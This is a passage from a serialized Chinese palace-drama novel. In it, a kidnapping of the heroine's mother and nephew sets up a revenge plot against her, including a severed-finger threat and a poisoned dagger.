皇后都这么说了,恒阳公主立刻道:“皇嫂金口玉言,从不做假,而且本公主还在这儿呢,阿喜你就放心说吧。” 话说到这个份儿上,春喜若再扭扭捏捏就让人反感了。 春喜一头磕在地上,朗声道:“臣妇见识浅薄,不敢随便评议卫大少爷的品性才能,为奴这些年,卫家待臣妇也很宽厚和善,按理,臣妇应感恩戴德,不该有任何怨言,但嫁给沈大人这些日子,臣妇学到了很多道理,臣妇斗胆说一句,如今的卫大少爷不及以前的万分之一。” 皇后好奇:“沈夫人为何这样说?” “受伤之前的卫大少爷温和有礼,即便是待府中下人也是和颜悦色的,但受伤之后完全变了一个人,臣妇离开卫家后,卫大少爷总是找臣妇的茬,在得知臣妇嫁人后,卫大少爷更是连臣妇的夫君也讨厌上了,好像臣妇这样的人成了他沾亲带故的长辈是对他的羞辱。” 说到最后,春喜的语气染上委屈。 恒阳公主亲眼见识过卫凌泽对春喜的态度,也听说过卫凌泽跟沈清渊发生过冲突,点头道:“皇嫂,我可以替阿喜作证,阿喜方才所言句句属实,卫凌泽就是瞧不上她,对她这个小婶婶一点儿也不尊敬,之前好多人都看到他跟沈清渊动手了呢。” 皇后眸光微闪,更直白地问:“所以卫凌泽现在确实是脾气暴烈、喜怒无常吗?” 这话怎么好直接回答啊。 春喜低着头,委委屈屈地说:“臣妇不知道卫大少爷对其他人怎么样,反正他对臣妇是没有好脸色的,臣妇出身低下,被看轻瞧不起也没什么,只是心疼夫君被臣妇连累,被卫大少爷迁怒,皇后娘娘您是不知道,上次您下旨给臣妇补办婚礼,卫大少爷竟还想请无忧阁的人来砸场子……” 春喜打开了话匣子,噼里啪啦停不下来。 皇后听了一会儿没什么重要的事,便打断春喜:“时辰不早了,沈夫人是第一次入宫,不如和公主一起去御花园好好转转。” 春喜立刻反应过来,歉然道:“臣妇话太多了,请皇后娘娘恕罪。” 皇后并未怪罪,让人送春喜和恒阳公主离开。 两人走后,心腹宫女立刻上前接着帮皇后按摩脑袋。 皇后阖着眼回想着春喜方才的回答,勾唇道:“这位沈夫人确实是个聪明人,难怪连恒阳都喜欢跟她一起玩。” 没过多久,云氏也带着萧清禾来了坤宁宫。 皇后挥退宫人,笑容端庄地看着两人。 闲聊几句后,皇后对萧清禾说:“贤妃妹妹很想念家人,禾儿难得进宫一次,去看看她吧。” 萧清禾谢了恩离开,皇后这才问云氏:“令郎最近休养得如何了,停职之事不会让他一蹶不振吧?” 云氏拧紧绢帕,平静道:“谢皇后娘娘关心,当初瘫痪三年泽儿都熬过来了,如今这点儿挫折对他来说不算什么,而且过去三年我确实太惯着他了,他这性子也确实该好好磨磨。” 云氏并没有要为卫凌泽求情的意思,皇后反而叹了口气道:“这孩子怪让人心疼的,但瑛王的护卫被重伤,恒阳也受了惊吓,陛下若不给出处置,他们两个肯定不会善罢甘休。” 卫凌泽之前带着伤去请罪,恒阳公主和瑛王都没有领情,所以直到现在也还没有得到两人的谅解。 云氏立刻道:“泽儿之前在家中受了家法,公主和王爷都不忍心再责罚于他,等再过几日他的伤好了,一定会再去向公主和王爷请罪的。” 皇后点点头,又跟云氏说了会儿话,便让云氏离开了。 云氏走后没多久,贤妃派了人来:“贤妃娘娘让奴婢回禀娘娘,卫大少爷如今确实性情大变,成婚数月已经伤了卫少夫人好几次,只不过卫少夫人顾念着两家情分,并未对外宣扬。” 皇后眸光微闪有了决断,让宫人给了传话的人赏赐,而后沉沉道:“来人,更衣。” 话落,一众宫娥簇拥着皇后朝内殿走去。 云氏出了坤宁宫,径直来到御花园。 云晚棠已在御花园陪着一众世家夫人聊了好一会儿的天,见云氏到了,立刻走到云氏身边:“阿姐怎么一个人来的,禾儿呢?” “皇后娘娘心疼贤妃思念家人,让禾儿去贤妃宫里了。” “皇后娘娘真是仁善。” 云晚棠由衷地称赞了句,拉着云氏落座:“皇后娘娘可有问起泽儿?” “问了,皇后娘娘也很替泽儿惋惜,但泽儿这次闯下大祸,也该在家好好休养反省一番。” 云氏说着,眼眶控制不住泛红。 泽儿已经被耽误了三年,若不能早日复职,只怕会一蹶不振。 若不是云晚棠一再叮嘱让她今日莫要开口让皇后帮忙求情,她这会儿恐怕还在坤宁宫里哭诉呢。 云晚棠知道云氏很担心,她抓着云氏的手柔声安慰:“阿姐不必太担心,泽儿重伤三年都还能再站起来,陛下定然很快就会重新起用泽儿的。” 云晚棠说得很有底气,云氏虽然还是担心,但也控制住情绪没有让人看出来。 御花园很大,恒阳公主带着春喜转完一圈,宫宴便要开始了。 入了席,春喜仍和恒阳公主挨着坐。 直到开席,帝后才相携而来。 所有人都起身行礼高呼万岁,春喜第一次离九五至尊这样近,她连抬头窥视一眼都不敢,只透过华美的凤袍看到明黄色的龙袍一角。 帝后落座后,众人才被允许坐下。 这场宫宴原本是为了给使臣团接风的,如今使臣团没来,唯一和使臣团接触过的云晚棠自然而然成了这场宴会的焦点。 开席不久,皇后就当着众人的面和云晚棠交谈起来。 聊到使臣团成员的时候,云晚棠忽地说:“其实使臣团里有位大臣大家应该都认识,他就是四年前被卫小将军斩落马下,断了一臂的轩辕朗。” 这话一出,四下寂静,春喜的眼皮轻轻跳了下。 第205章 阿喜,你最近有没有得罪什么人? 云晚棠只提了卫凌泽一句,就转移了话题。 但春喜知道,卫凌泽很快就会复职。 使臣团里有卫凌泽的手下败将,让卫凌泽复职一起接待使臣团,是可以震慑到使臣团的。 若是使臣团在瀚京这段时日,卫凌泽的表现都很好,那之前的事应该也就一笔勾销了。 春喜早就料到卫家会想办法让卫凌泽复职,但她没想到会来得这么快。 宫宴直到傍晚才散,皇后又留恒阳公主说了会儿话。 春喜并不知道皇后这次跟恒阳公主说了什么,只觉得公主的反应有些奇怪,出了宫,看到驸马之后,恒阳公主的表情就更不自在了。 “公主,是发生什么事了吗?” 春喜关切地问了一句,恒阳公主摇头:“没事。” 恒阳公主不愿意说,春喜也没再追问。 到了分路的地方,春喜跟公主告别坐上自己的马车回家。 恒阳公主盯着温砚书看了一会儿,语气生硬道:“你上来,本公主有话要说。” 温砚书乖乖下马,坐上马车。 马车很是宽大,但他人高马大,坐进来以后,空间顿时小了很多。 恒阳公主感觉空气里都充斥着温砚书的味道,她蹙了蹙眉,半晌开口:“我要生个孩子。” 临近月中,今晚的月亮颇大,月光明亮,车外还挂着两个灯笼,但大多数光亮都被车帘挡住了。 车里是昏暗的,温砚书看不大清楚恒阳公主的表情,但她说这句话时的语气还和平时一样霸道。 温砚书惊讶地睁大眼睛,过了会儿才找回自己的声音:“公主怎么突然……” 话没说完,领口忽地被揪住,他整个人被拽得前倾,熟悉的女子馨香涌入鼻尖。 “少废话,你是我的驸马,本公主要借个种,你难道还敢不借?” 借种? 这话说得好像以后这孩子跟他没有关系似的。 恒阳公主嘴上说得霸道,心里却不太有底。 温砚书虽然已经澄清和云晚棠的关系,却没说喜欢她,她可不想他到时会像上刑似的跟她生孩子。 这些年她也不是没想过找别人借种,但挑来挑去,没一个长得比眼前这人长得更好看的。 她委屈不了自己一点儿,更不希望以后生下来的孩子不够好看。 沉默让时间变得漫长,恒阳公主很快后悔。 她也是中了邪,怎么今日听到皇嫂催她生孩子,她就真的找温砚书说这种话了呢? 她可是公主啊,完全可以挑一些可爱又漂亮的孩子过继到膝下养着,何必要自己亲自生? 想通这点,恒阳公主就想让温砚书滚下去,然而她还没开口,温砚书便又凑近了些。 “好啊,公主是要现在借还是等回家再借?” 温砚书声音很低,带着些微的哑,说话间的呼吸有些喷在恒阳公主脸上,激起细微的痒。 恒阳公主的脑子一时有点乱。 驸马还真答应了? 那接下来该怎么办? “公主怎么不说话了?公主在外玩的花样不是很多吗,不会到了这种关键时刻反而不会了吧?” 温砚书一改往日的温吞步步紧逼,恒阳公主回过神来,当即伸手勾起他的下巴:“本公主自然早就深谙其道,驸马只需好好取悦本公主就行。” 话落,马车朝着公主府疾驰而去。 另一边,春喜到了家。 她刚下马车,一道人影突然从黑暗中冲出来,阿鲤反应很快地挡在春喜面前,大声喝道:“什么人!?” 门房听到动静也跟着冲过来,甚至院墙上还跃下来五六个身手高强的护院。 “阿喜,别让他们动手,是我。” 大嫂? 春喜立刻听出钱氏的声音,也借着光亮看清了自家大嫂的脸。 她示意护院退下:“大嫂来了怎么不直接进去,躲在外面做什么?” 春喜有些不解,钱氏小声道:“门房不认识我,他不让我进去,叫我改天再来。” 宫宴不知道什么时候才结束,春喜不在家,让钱氏改天再来也是对的。 春喜点点头问:“大嫂非要等着见我是发生了什么事吗?” 春喜话音刚落,钱氏就扑通一声跪到地上:“阿喜,娘和正儿不见了,我和你大哥都快找疯了,求你帮帮我们吧。” 才说了一句话,钱氏就泪流不止。 春喜连忙扶她起来:“怎么回事?她们怎么会不见?什么时候不见的?” “自从阿文被流放,娘生了一场大病,整个人就经常走神,做事也丢三落四的,今天过节,你大哥难得回家,就说咱们一家一起出去逛逛,我和你大哥就在街边摊上挑了支簪子,一回头就寻不到娘和正儿的影子了。” “你和大哥都找过哪些地方?” “街坊四邻都找遍了,他们都说没见过娘,爹那里你大哥也去看过了,还是没有,这会儿你大哥还在外面找呢,我也是实在没办法了,只能来求你。” 钱氏说着又要跪下:“我知道娘待你不好,你心里有结,但正儿还小,他是无辜的,正儿从生下来就没离开过我,他还没断奶,这会儿肯定已经饿得大哭了。” 春喜拉着钱氏没让她跪下,沉声道:“我带上几个人先跟大嫂回家看看。” 听到春喜愿意帮忙,钱氏松了口气,连忙擦干眼泪跟着她上车。 家里漆黑一片,钱氏见状又落下泪来,这时李婶提着灯笼走出来:“曹武媳妇儿你去哪儿了,刚刚曹武回来没见到你都急坏了。” 说着话,李婶看到了春喜。 今日进宫赴宴,春喜穿了华丽的新衣,戴着漂亮又精致的配饰,已然脱胎换骨成了贵夫人,和以前判若两人。 李婶提着灯笼的手抖了抖,根本不敢认。 “李婶,是我,阿喜。” 春喜主动开了口,李婶这才嚷嚷出声:“哎哟,阿喜,真的是你啊,这才多久不见,你怎么变得这么漂亮了,李婶都不敢认啦。” 李婶说着要叫其他人也来看,春喜叫住她问:“我大哥方才回来没见到大嫂,现在又去哪儿了?他可有找到我娘和侄儿?” “我也不知道他去哪儿了,不过他说他很快就会回来,让我看着你大嫂别乱跑,在家等他回来。” 夜色已深,再过会儿就是宵禁,曹武也不能在外面瞎逛找人了。 春喜道了谢,跟着钱氏久违地踏入家门。 院子里安安静静,因为没有点灯,在夜色下看着有些破旧空寂。 春喜心头涌上两分难以形容的感受,耳边又传来钱氏的声音:“娘虽然有些糊涂,但不会抱着正儿乱跑的,阿喜,你要不想想最近有没有得罪什么人?” 第206章 谁都可以昏头,但你不能 春喜最近得罪的人挺多的。 卫凌泽和莫家就不必说了,那一夜她跟公主喝醉酒打的世家夫人得有二三十个,若她娘和正儿是被仇家抓走的,一时间她还真不知道会是哪个仇家。 春喜没有接钱氏的话,进屋等了一会儿,曹武匆匆回来。 看到春喜,曹武顿时沉了脸瞪着钱氏:“我都说了这事我会想办法,你去找阿喜做什么?” 曹武是自己一个人回来的,并未找回王氏和孩子,钱氏绷不住哭起来:“你都找一日了还没找到人,还能有什么办法?现在夜里这么冷,正儿没有奶吃,早就饿坏了,你拉不下面子求阿喜,我不要面子,我给阿喜跪下磕头都可以。” 夫妻俩眼看要吵起来,春喜连忙插话:“大哥,我已经回来了,说说怎么回事吧。” 春喜说完,又让阿鲤去厨房煮了两碗素面来。 曹武和钱氏都没有胃口吃东西。 “先吃点儿东西吧,明天还要接着找人呢,而且正儿回来也要吃奶的。” 春喜劝了一句,曹武拿起筷子大口大口地吃起来,钱氏落着泪,也拿起了筷子。 吃完面,曹武把今天发生的事细细说了一遍。 曹文的事确实对王氏打击不小,但王氏只是有些消沉,不爱跟街坊四邻吹嘘自己女儿嫁得好,有个三品大员做女婿了,脑子还是清醒的。 今天全家一起出门逛街,王氏还挺高兴的,他们还一起去店里吃了馄饨和蒸羊肉,结果从店里出来没多久,王氏和正儿就不见了。 曹武先把相邻几条街找了一遍,又去了曹父的墓地,最后连钱父钱母那里都去过了,也还是没找到人,刚刚他去了巡夜司报官,但巡夜司的人懒洋洋的,并没有如何当回事。 春喜听完陷入沉默。 她娘这几日没什么反常的,而且也没再提起她,不太可能是故意躲起来逼她回家。 而且她娘对正儿这个大孙子也是很疼爱的,不会随便拿正儿开玩笑。 半晌后,春喜开口:“我会让人到巡夜司守着,也会派人帮忙找人,有什么消息就第一时间通知大哥,今天不早了,大哥大嫂你们早点休息吧。” 春喜说完便要起身离开,钱氏忍不住跟着站起来:“家里房间空着,我去换一下床单被褥,阿喜今天要不就住下吧。” 春喜现在一身的装扮都和这个家格格不入,钱氏怕她也像巡夜司的人那样敷衍他们,还是觉得让春喜住下才安心。 “不用了,我坐马车回去,很快。” 春喜直接拒绝,提步朝外走去,刚走了一步,钱氏扑过来抓住她的胳膊:“阿喜,不管你和娘有什么恩怨,你们毕竟还是亲母女,娘最近哪儿也没去,突然失踪说不定是被你的仇家带走了,也可能是你非要把阿文送去流放,把娘逼得想不开,你不能就这样走了啊。” “事情还没查清楚,你在胡说八道什么!” 曹武怒吼一声,睁圆了眼睛瞪着钱氏,手甚至还扬了起来。 钱氏吓得瑟缩了下,春喜把钱氏拉到身后,冷着脸看着曹武:“大哥如今也学会打女人了?” 曹武收回手,板着脸坐下不说话了。 春喜转身对钱氏解释:“大嫂说的没错,不管怎么样,我都还是娘的女儿,如今她和正儿出了事,我不会不管的,但之前好多人都知道我跟娘闹翻了,这些日子也不曾回过娘家,若真的是有仇家要报复我,我越是表现出在意,娘和正儿反而更危险,不是吗?” 钱氏这会儿脑子乱糟糟的,只能把春喜当成救命稻草,她紧紧抓着春喜的手问:“那现在怎么办,要是你一点儿都不在意娘和正儿,他们会不会直接杀人?” “不会的,”春喜直接否定这个猜测,“如果真的有人要报复我,肯定会想办法联系我,不管是要钱还是要我的命,他们都是会提出要求的,若我根本不关心娘和正儿,他们杀人又有什么意义呢?” “可是……” 钱氏还是不安心,春喜直接打断她:“大嫂,既然你现在想不出更好的办法,那就听我的,我向你保证,一定会倾尽全力把娘和正儿平平安安的找回来,行吗?” 从事发到现在,春喜都是很冷静的,钱氏刚刚觉得春喜甚至有点儿冷漠,这会儿看着春喜明亮的眼眸,又不自觉安定下来。 是啊,她想不到任何的办法,只能听阿喜的。 钱氏咬牙压下不安点了点头,终于放开春喜,春喜踢了曹武一脚,用眼神示意他跟自己出来。 出了院门,曹武小声道歉:“阿喜,对不起,我刚刚气昏头了,我不该跟你大嫂动手,我待会儿会跟你大嫂道歉的。” 春喜的表情依然严肃,并没有因为曹武的话缓和下来:“你现在是一家之主,不管遇到什么事,别人可以昏头,但你不能,你得保持冷静和清醒。” 曹武很是羞愧,他这个当大哥的,远远比不上妹妹,他还想道歉,春喜抢先道:“我不想听道歉,大哥以后做事先想清楚后果就好。” 说完这句话,春喜坐上马车回了家。 家里灯火通明,沈清渊不在,没有人可以跟她商量对策,也没人跟她说只要他在就不会有事。 她好像又回到在卫家那几年,不管遇到什么事,都只能自己想办法解决。 但已经不一样了。 她现在是沈夫人,不管沈清渊在不在,她都是有靠山的。 春喜没有失眠,她洗了个澡,躺下很快就睡着了。 第二天一大早,她刚开始吃早饭,沈清迟就来了。 “再过几日就是父亲五十大寿,虽然因为母亲的事不能大肆操办,但咱们自家人总该聚在一起吃个饭,我回家问过了,祖母和父亲的意思是,这寿宴还是让大嫂来操办比较好。” 上次在巡夜司,沈清迟装肚子疼逃过了一劫,并未被恒阳公主处置,云晚棠也没有责怪她,反而感念她在那种关头冲出来维护自己,拿了好多补品给她养身子。 这次见面,沈清迟的脸色看着红润了不少。 沈清迟细细打量着春喜的脸色,颇为关切地问:“我看大嫂的脸色好像不太好,可是因为大哥不在家没有休息好?” 春喜眼皮都没抬一下,幽幽道:“我最近休息挺好的,是妹妹的眼神不好。” “……” 吃完早饭,春喜跟沈清迟回了侯府。 第207章 我觉得我怕是中邪了 侯府已经完完全全被沈家人霸占,清远侯不想被一堆人拉着要钱花,还是跑去跟外面的狐狸精住。 春喜和沈清迟回来后没有看到清远侯,不过沈家其他人全都聚在主院等着春喜。 自从沈清迟被扶正,沈家人对沈清迟的态度完全转变,他们听说春喜跟公主醉酒打架的事,一见面两人就不满地念叨开。 “咱们家现在跟太傅府是姻亲关系,你说你怎么能跟公主一起打迟儿和她五婶呢,这对两家的关系多不好?” “就是啊,上次我们都看见了,迟儿那个五婶漂亮又温柔,人家对迟儿也很照顾,好端端的突然挨了这么一顿打,也太倒霉了,趁着这次你爹过寿,你好好地跟人家赔个不是。” 沈家两位叔伯一唱一和,直接定了让春喜给云晚棠道歉。 春喜没接这茬,淡淡开口:“夫君奉命去瞿县了,二弟三弟对父亲的寿宴是怎么想的?” 众人果然被转移注意力,二伯板着脸道:“他们两个的精力都在读书上面,哪里知道这寿宴该如何操办,自然应该由你这个侯府长媳全权操办。” 三伯跟着道:“这次虽然不大操大办,但要回请太傅府的人来吃饭,这菜式也要丰盛得体,不能慢待了亲家叫人看笑话给迟儿丢脸。” 四伯最后补充:“你要是没有时间操办这些,可以把钱拿回来,我们去帮你办,我们在瀚京这么多年,也有些人脉,阅历也比你丰富,采买东西肯定比你随随便便找的人便宜实惠。” 沈金花生怕自己捞不到好处,急急道:“咱们府里的人也要置办两身新衣裳才行,之前去太傅府赴宴都是人家出钱给置办的,这次再穿那些衣裳就太寒碜了,你的侄儿侄女们这次也能好好露一下脸,给他们多添置些金玉,日后他们有了出息也不会忘记你这个大嫂的。” 沈家人虽然都没钱,提要求却提得理直气壮,恨不得趁这次机会吸干春喜和沈清渊的血发个大财。 春喜并不生气,还是那句话:“二弟三弟呢,这件事也还是要跟他们一起商量一下才行,之前母亲的案子就只有夫君一个人的功劳,爹以后总不能只有夫君这一个大孝子吧?” “叫他们来有什么用,家里什么情况你又不是不知道。” 沈金花先翻了个白眼,吴氏轻咳一声道:“老二老三如今尚未考取功名,并无俸禄可拿,这次寿宴,你们做老大的多担待些也是应该的。” 春喜点头表示认同:“钱可以不出,但人不能不在吧。” 这话没人能反驳,吴氏很快派人把沈清越和沈清宇请来。 数日不见,沈清越的变化不大,沈清宇则越发颓丧了。 听说春喜愿意操办寿宴,沈清越歉然道:“我和三弟如今确实帮不上什么忙,这件事就麻烦大嫂多费心了。” 沈清宇没好气道:“你愿意办就办,不愿意办就拉倒,不用非把我们叫过来显摆你有几个臭钱,我看到你这穷鬼乍富的嘴脸就觉得恶心。” 沈清宇说完丢下众人扬长而去。 沈清越拿沈清宇没办法,只能无奈地看向春喜:“请大嫂恕罪,自娘走后,三弟现在对谁都没有好脸色。” 不是他们。 春喜在心里做出判断。 沈清越虽然有些伪善,但还是想通过科举考取功名来证明自己,他不会绑架她娘和正儿给自己带来污点。 沈清宇说话不过脑子,什么都写在脸上,若是她娘和正儿在沈清宇手上,他指不定会嚣张成什么样。 沈家其他人只想要钱,眼下有清远侯的寿宴做借口,他们根本没有必要多此一举。 而卫凌泽要对付她绝对不会亲自动手。 那还会是谁呢? 春喜抿唇思索着,沈家众人怕她因为沈清宇几句话就撂挑子不干,全都急切地催促起来。 沈清迟的声音再度入耳:“大嫂,你没事吧?” 沈清迟眼眸清亮,带着关切。 春喜抬手揉了揉太阳穴,摇头道:“没什么大碍,就是突然感觉脑袋有点不舒服。” 沈金花翻了个白眼:“阿喜啊,你这气色若是去耕地都能累死一头牛,你可就别装柔弱了。” 其他人脸上也都是一样的想法,春喜脑子里突然灵光一闪。 她顺势在离自己最近的椅子坐下:“小姑你真的误会我了,今早迟儿妹妹来看我的时候还说我脸色瞧着不好呢,我真没装。” 众人立刻不满地看向沈清迟。 能说出曹春喜的脸色不好这种话,眼神该有多不好? 沈清迟没想到春喜还能拿自己早上的一句话说事,她勉强笑笑:“大嫂,我当时就是随口那么一说,不是认真的,你别放在心上。” 春喜摇头:“妹妹不会无缘无故说这种话的,莫不是我早上印堂发黑,最近会有血光之灾,万一到时因为我冲撞了父亲的寿宴怎么办?” 众人:“……” 你自己听听这说的是什么话!你不想出钱就明说,瞎扯什么血光之灾? 沈金花压着怒火劝慰,春喜却一口咬死沈清迟肯定是看出了什么,她现在感觉浑身无力像是中了邪,实在没有精力管其他的事。 沈金花拿春喜没办法,只能是追问沈清迟:“好端端的,你为什么要说你大嫂脸色不好?” 沈清迟捏紧绢帕。 她为什么要说那句话,当然是因为她知道春喜娘家出了事,盼着春喜寝食难安、面容憔悴,所以故意问的呀。 她哪能想到春喜现在会揪着这句话不放? 沉默了好一会儿,沈清迟才找到借口:“当时屋里光线有点暗,我看错了,所以说错了话,我向大嫂道歉。” 春喜并不接受道歉,她捂着胸口哎哟哎哟地叫起来。 “我感觉脑袋开始疼了,我怕是中邪了,妹妹现在怀着身孕,指不定能看到平时不能看到的脏东西,为了腹中孩子好,妹妹也赶紧找高僧看看吧。” 沈清迟:“……” 哪里有什么脏东西,曹春喜又在耍什么花招? 第208章 今晚曹春喜必须死 春喜一口咬定自己中了邪,不仅操办不了清远侯的寿辰,还会给其他人带来血光之灾,一个铜板没给,哼哼唧唧地离开。 沈家众人拿她没办法,只能把矛头对准沈清迟。 谁不知道曹春喜是什么狗脾气啊,你自己提议让她操办你爹的寿宴,却不好好求着哄着人家,一进门就说人家脸色不好,你是做了太傅府的四少夫人就把脑子丢了吗? 沈清迟这些日子都被沈家人吹捧着,她本来是想找个由头看春喜的笑话,却又被反将一军,得了一通数落。 沈清迟带着满腹怨气离开侯府,她没回太傅府,当即去莫家见了宁氏。 莫芸婉死后,宁氏整个人暴瘦,如今眼窝凹陷,眼神木讷,周身已有了淡淡的死气。 今日她的心情难得好些,甚至有闲心给院中的花草浇水。 沈清迟屏退下人,柔柔开口:“我方才去侯府见了大嫂,大哥这几日虽然不在京中,但大嫂如今攀上了恒阳公主,日子过得挺滋润的,气色也很好,我早就说过,大嫂这个人性子薄凉,嫁给我大哥后,连自己的亲娘都不认了,舅母不然还是收手吧。” 宁氏正在给一株海棠浇水,这株海棠枝条茂盛,花也开得正艳,听到沈清迟的话,宁氏的脸色陡然变得阴沉可怖,她用手里的葫芦水瓢狠狠抽打着那株海棠,直把上面的花朵全部打得掉落在地才喘着气道:“我凭什么收手,我要让她给我的婉儿偿命!” “可是大嫂很聪明,而且我大哥还雇了好些护院在家里,只要拖上几日,大嫂说不定就会发现是舅母让人绑架了她娘和侄儿,到时舅母不仅报不了仇,还会把自己搭进去。” 沈清迟这话看似是在担忧,实则是催促宁氏赶紧行事,莫要给春喜反击的机会。 宁氏也并未辜负沈清迟的期望,她冷声笑道:“我已让人送了信去,今夜她若不单独来赴约,那就只能给她老娘和侄儿收尸!” 这会儿已经是正午,离晚上也没几个时辰了。 沈清迟感觉方才堵在胸口的怨气散了些,却还是觉得不安:“就算大嫂一个人来,她若戴着袖箭那也是能伤人的,舅母当真做好万全的准备了吗,万一……” 宁氏直接打断沈清迟:“没有万一,今晚曹春喜必须死!” 宁氏凹陷的眸底满是血丝和毒辣的恨意,恨不得马上将春喜大卸八块儿。 沈清迟不再质疑,只小声道:“大嫂若是死了,大哥回来肯定不会善罢甘休,若是让大哥知道我曾与舅母说过大嫂娘家的事,恐怕……” “放心吧,我不会把你说出来的,”宁氏直接打消了沈清迟的顾虑,她抬手抚摸沈清迟的脸颊,像是透过沈清迟看到了自己的女儿,“我已准备好毒酒,曹春喜一死,我也会服毒下去陪婉儿,你就代婉儿好好活下去吧。” 说到最后,宁氏眸底的恨意消融,眼眶湿润,满满的都是母爱。 那是沈清迟从未在莫氏身上感受到的爱意。 沈清迟眼眶一热,突然有些无法面对宁氏,匆匆说了几句话就离开了。 坐在回太傅府的马车上,沈清迟的心情很是复杂。 她是在自甘为妾,把自己送到太傅府上被轻贱羞辱那段时日恨上春喜的。 她恨春喜改变了沈清渊,更恨春喜假装什么都不知道,一步步诱着她和母亲踏入圈套之中,若非如此,她也不至于一时昏头,被李继贤骗了身子。 所以听闻莫芸婉死后,她主动找上二舅母,想要和二舅母联手报复春喜,但很快她就有了身孕,还被李继贤扶正,日子变得好过起来,她对春喜的恨意消减了不少。 本来她一度想劝二舅母放弃报仇的,偏偏曹春喜又和恒阳公主一起打了五婶,恒阳公主甚至让五婶当众下跪。 是五婶提议才让她被扶正的,五婶回来后待她也非常好,甚至说服老夫人邀请侯府的人到太傅府吃饭,给了她极大的体面,她的大嫂却把五婶的脸面狠狠踩在脚下。 虽然五婶心地善良不曾与她计较,还送了好多补品让她补身子,可太傅府上上下下的人都把她当成白眼狼看待。 她在对五婶的愧疚中发现,只要有曹春喜在,就会有层出不穷的麻烦。 大哥不会与她亲近成为她的靠山,二哥三哥也会被死死压制无法出人头地,曹春喜甚至还会联合恒阳公主让五婶在瀚京难以立足。 也许,从一开始曹春喜就是奔着夺家产来的,当初她和二哥三哥都阻挠过曹春喜分家产,所以即便如今分了家,曹春喜也不会让他们好过。 这个念头一冒出来,就在沈清迟脑子里扎了根。 于是,她又找上二舅母…… 婉儿表姐被曹春喜害死了,二舅母本就恨毒了曹春喜,她只不过是提了一句可以从曹家下手,二舅母就自己找人制定了计划。 其实她也没做什么。 大哥跟曹春喜成婚不过数月,就算有些喜欢感情应该也不深,曹春喜死后,五婶会帮大哥牵线搭桥娶到更好的姑娘,大哥很快会忘掉这个人,到时两家的关系也会更紧密。 所以曹春喜死了,对所有人都好。 ** 春喜没有回家,而是躲在侯府外面跟了沈清迟一路。 看到沈清迟从莫家出来,春喜心里隐隐有了猜测。 她没有继续跟着沈清迟,径直回了家。 马车刚在门口停下,门房便急匆匆地跑来:“夫人,刚刚有人用石头丢了一封信到府里。” 门房的脸色很不好,等春喜进了府,立刻拿来信和一个用布包裹的东西。 那布料子很一般,原本的深蓝色经过多次浆洗变成了蓝白色。 春喜记忆中的王氏经常穿这种颜色的衣裳。 她脸色一沉,伸手要打开那东西,门房低声道:“里面是一根手指,看着怪吓人的,夫人还是先看信吧。” 春喜指尖微颤,还是打开了那布里的东西。 虽然已经知道里面是什么,再次看到,门房还是忍不住扭头干呕起来。 春喜没有吐,冷静无比地观察着眼前的东西, 许久之后她确定,这根手指是她娘的。 第209章 螳螂捕蝉黄雀在后 那封来路不明的信是绑匪送来的。 不过不是问春喜要赎金,而是要求春喜今晚在城门关闭之前独自出城。 到时城外会有人接应她,但如果她敢通知其他人,接应的人不会现身,并且明天王氏和正儿的尸首就会出现在城门口。 信的内容很短,春喜很快就看完了。 她并未惊慌失措,而是把信交给阿鲤,又拿了一千两银票让阿鲤一并带去无忧阁。 阿鲤走后,春喜换了身衣裳,用锅底灰把脸涂黑,扮成小厮和倒泔水的下人一起从后门出府又去了城门口守着。 临近傍晚,一辆挂有莫家标识的马车来到城门口。 城卫兵照常上前查看,帘子撩开,宁氏端坐其中。 卫兵有些奇怪:“马上天就要黑了,夫人这个时候出城做什么?” 宁氏淡淡开口:“昨夜亡女托梦,求我帮她办点儿事。” 说是要办事,宁氏连丫鬟婆子都没带,只带了一个车夫。 天色已暗,宁氏坐在马车里,面容大多隐在昏暗中,瞧着有些诡异,加上沙哑沧桑至极的嗓音,就更吓人了。 卫兵不想招惹晦气,连忙放行。 马车缓缓驶出城,没人发现春喜趁机扒在车底,跟着一起出了城。 出城后,马车一路向东,约莫半个时辰后,才在一处依山傍水的地方停下。 “夫人,到了。” 马夫掀开帘子,宁氏提着一篮子纸钱香烛下车,径直来到莫芸婉的墓前。 莫芸婉虽被毒杀,却也犯下了谋害婆母的大罪,莫老夫人不肯认她,宁氏只能找人看了风水把她埋在这里。 这里白天看着山清水秀,在暮色下却透出荒凉,莫芸婉的坟茔更是孤零零的。 宁氏点燃香烛插在坟前,一边烧纸一边跟莫芸婉说话。 “婉儿,重阳节过了,天气越来越冷了,你别害怕,等娘今晚杀了曹春喜就下来陪你。” 火光跃动,照得宁氏那张瘦得可怕的脸忽明忽暗,不像是人,更像是厉鬼。 马夫看得打了个寒颤,忍不住站得远了些。 宁氏没有在意这些,满眼慈爱地看着冰冷的墓碑:“婉儿,你等着娘,娘陪你走奈何桥,下辈子你还做娘的女儿,娘一定会好好保护你的。” 墓碑无声,并不会给宁氏任何回应。 宁氏也不难过,又絮絮叨叨地说起莫芸婉幼时的趣事来。 不知过了多久,有个彪形大汉走到宁氏身边说:“你要的人已经接到了,正往这边来,钱呢?” “人还没死,你急什么?” 宁氏冷声回答,全然不似跟莫芸婉说话时的温柔慈爱。 彪形大汉啐了一口:“我们干的是随时都会掉脑袋的活,万一她带了其他人来,我们杀了人就得赶紧逃命,到时哪有时间再问你要钱?” 这话也是有些道理的,宁氏颔首道:“我先给你七成,只要见到尸首,我马上就把剩下的三成给你。” “行,等她一到兄弟们就冲上去砍了她的脑袋,保证让她死得透透的。” 说着话,王氏和正儿被带了过来。 两日没喝奶,正儿哭闹得厉害,王氏被剁了一根手指,整个人又痛又怕,看到宁氏腿都在打哆嗦。 “夫人,曹春喜早就不认我这个娘了,她连她自己的亲弟弟都告到官府流放去了,根本不会在意我们的死活,求你放了我和我的小孙儿吧。” 王氏哭着求饶,她以前还对侯门贵府的富贵生活抱有幻想,如今亲身体会到荣华富贵背后暗藏的凶险后,便只想安安稳稳过自己的小日子。 若能平安回去,她定要跟春喜断绝关系,再不来往! 宁氏并不在意王氏说什么,塞了一把匕首到王氏手里:“曹春喜一会儿就到,这把匕首抹了剧毒,你只要刺她一刀,我就放你和你孙儿走。” 王氏脸色惨白,冷汗淋漓,她下意识地摇头:“不行!” 就算春喜再怎么忤逆不孝,那也是她十月怀胎生下来的女儿,她怎么能亲手杀死自己的女儿呢? “呜哇哇~” 正儿被宁氏抱入怀中,发出尖锐的哭喊。 王氏扑通一声跪下:“夫人,求你别伤害我孙儿,他还不到一岁,什么都不懂啊。” “你想要他活,就去杀了曹春喜,不然我现在就摔死他。” 